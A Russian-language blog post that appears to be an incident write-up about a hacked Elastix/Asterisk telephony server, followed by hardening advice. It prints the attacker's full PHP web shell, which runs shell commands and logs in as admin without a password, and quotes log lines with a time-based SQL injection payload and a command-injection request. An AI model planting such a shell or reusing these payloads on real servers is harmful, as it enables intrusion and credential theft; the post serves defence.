Хочу кратко рассказать о том, как мой новенький сервер телефонии на базе Elastix был взломан. И дать небольшие советы по повышению безопасности на основе разбора полетов. Собиралось все на базе VDS хостинга с использованием готовой сборки отсюда. Предлагаемая версия CentOS 5 довольно древняя.
История взлома
Версии основного установленного ПО:elastix-2.5.0-1 freePBX-2.11.0-26 asterisk-11.25.0-0На самом деле ситуация достаточно банальна. Так как настраиваемая система телефонии еще не запущена в постоянную работу, то я постоянно захожу на сервер как через веб интерфейс так и через ssh. В один прекрасный день при входе, через консоль мне высветилось стандартное сообщение, что пользователь root получил новое почтовое сообщение. Зайдя в папку /var/mail увидел, что там так же есть и файлик с письмами пользователя asterisk и так как он был довольно большой, я решил посмотреть именно его. Самое последнее письмо содержало замечательную строчку
127.0.0.1/_asterisk/sos.phpФайл представлял из себя backdoor, через который взломщик и проводил свои манипуляции на сервере. Первая запись в логе с подозрительными данными появилась еще 12 декабря, сразу после установки сервера:
209.126.119.40 - - [12/Dec/2016:17:48:38 +0400] "POST /recordings//emoemo.php HTTP/1.1" 200 296В процессе настройки сервера, невольно, мне удалось заблокировать взломщика, но еще раньше, оперативно сработала защита сети sipnet.ru и предотвратило возможную потерю денег. За что им отдельное спасибо. 24 декабря утром на почту пришло письмо от sipnet со списком заблокированных попыток звонков по различным направлениям. Этим же днем я включил на сервере auth basic авторизацию (расскажу про нее далее). В последствии по логам было видно, что взломщик еще пытается войти, но уже не может. Рядом с файлом sos.php лежал файл a7a.php следующего содержания:
<form action="" method="post" >
<input size=20 type=password name="p" />
<input size=60 type=text name="c" />
<input type=submit value="Hacked" /></form>
Hacked >
<?php
if(md5($_REQUEST['p'])=='fe732de226af5491a6266f9d5eaa62fc')
{
@system($_REQUEST['c']);
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable
("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
session_name("elastixSession");
session_start();
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
echo '<a href="/" >Emad__Was__Here</a>';
}
?>
По файлу видно, что это простейший скрипт для логина в Elastix без пароля. Аналогичного содержания файлы были найдены по адресам:
/tmp/emo.txt /var/www/html/admin/320433521emad.php /var/www/html/a2billing/admin/Public/352132043emo.phpПока загадкой остается способ как Emad (видимо так зовут взломщика) записал свои файлы на сервер. Анализируя логи самой подозрительной записью оказалась вот эта:
82.205.4.104 - - [16/Dec/2016:23:24:54 +0400] "GET /a2billing/admin/Public//tmp/sql.gz%20& mv%20/tmp/z.txt%20/var/www/html/_asterisk/sos.php%20&%20a.gz HTTP/1.1" 404 372Так как все его залитые файлы имеют права доступа asterisk, то очевидно, что взлом был осуществлен через веб интерфейс. Так же скорее всего первым на сервер попал именно файл
/recordings//emoemo.phpТак что дыра где-то в модуле recordings. Так же довольно много обращений было к модулю a2billing следующего содержания:
209.126.119.40 - - [12/Dec/2016:17:55:24 +0400] "GET //a2billing/customer/A2B_recurring_payment.php? id=1%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285-%28 IF%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28manager_secret%20AS %20CHAR%29%2C0x20%29%20FROM%20cc_server_manager%20LIMIT%200%2C1 %29%2C4%2C1%29%29%3E112%2C0%2C5%29%29%29%29%29Fwlh%29&key=222 &payment_status=Completed&txn_type=subscr_payment &pos=fadgs&aad=dwqrq HTTP/1.1" 200 -Более конкретных сведений по логам найти не удалось. Привожу список ip с которыми засветился взломщик на сервере
82.205.4.104 82.205.11.51 185.6.17.224 209.126.119.40 156.176.139.5 176.67.122.234 94.177.183.126 144.217.34.239 192.99.19.86
Немного о безопасности
То, что на мой взгляд обязательно надо сделать на сервере с установленной телефонией:- первое и самое лучшее решение - не пользоваться web интерфейсом и заниматься настройкой телефонии напрямую в конфигурационных файлах asterisk и сервера.
Да, такой вариант намного более сложный для новичков, но убрав GUI мы убираем и сразу множество возможных лазеек в безопасности. Еще одним бонусом данного решения является возможность использовать самую последнюю версию asterisk и сервера, так как многие готовые сборки поставляются с довольно старым ПО.
Как вариант, запускать веб сервер только когда вы работаете сами и выключать после проведенных манипуляций.
- включение на сервере Auth basic аутентификации
Использование простейшей аутентификации позволит сильно повысить безопасность web интерфейсов так как перед любым обращением к серверу злоумышленнику необходимо будет преодолеть дополнительную ступень защиты. Однако, данный метод защиты хорошо обходится брутфорсом, поэтому обязательно следует выбирать сложный многосимвольный пароль состоящий как из букв так и цифр.
Именно благодаря установки пароля на свой сервер мне удалось перекрыть доступ злоумышленнику. Но узнал я об это только неделю спустя.
Установить пароль очень просто, для начала нам надо создать файл с набором логинов и паролей. Для этого служит команда:
htpasswd -nbm myName myPassword >> /etc/httpd.passwd
Далее необходимо включить auth basic аутентификацию для нашего веб интерфейса, а в качестве файла паролей подключить наш созданный файл.
<Directory "/var/www/html">
# Redirect administration interface to https
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
AuthType Basic
AuthName "Access denied"
AuthUserFile /etc/httpd.passwd
require valid-user
</Directory>
Из данного примера видно, что наш web сервер Elastix настроен на папку /var/www/html
После этих манипуляций перезагружаем web сервер и при попытке входа видим дополнительное окно для логина.
- настройка модуля fail2ban на сервере
Данный модуль достаточно популярен и позволяет блокировать через фаервол соединения на основе данных из логов. В нашем случае при нескольких неправильных попытках подключения к серверу asterisk или sshd. Этот пункт указан не первым, но сделать это следует в первую очередь, причем правила лучше выбрать более строгие. Например, блокировку на сутки при 4-5 попытках входа.
Отслеживать активность подключений можно анализируя лог asterisk:
tail -f /var/log/asterisk/full
Опция f позволяет вести онлайн мониторинг
- Еще одним вариантом защиты является перенос web интерфейса с домена по умолчанию на неизвестный другим пользователям
Например, если ваш сервер имеет хост sip.asterisk.hack, то по этому адресу есть смысл отдавать заглушку или вообще ничего, а web интерфейс перенести на адрес secure.asterisk.hack. Продвинутый злоумышленник все равно найдет и этот адрес, но дополнительные трудности ему это создаст. Так же мы можем таким образом обрезать некоторые боты.
- отключение не используемых модулей
В моем случае взлом по видимому был произведен через модуль recordings. Далее злоумышленник много игрался с модулем a2billing, однако, я им не пользовался и удалив его мог бы повысить безопасность системы.
- разрешить подключение к серверу только с доверительных ip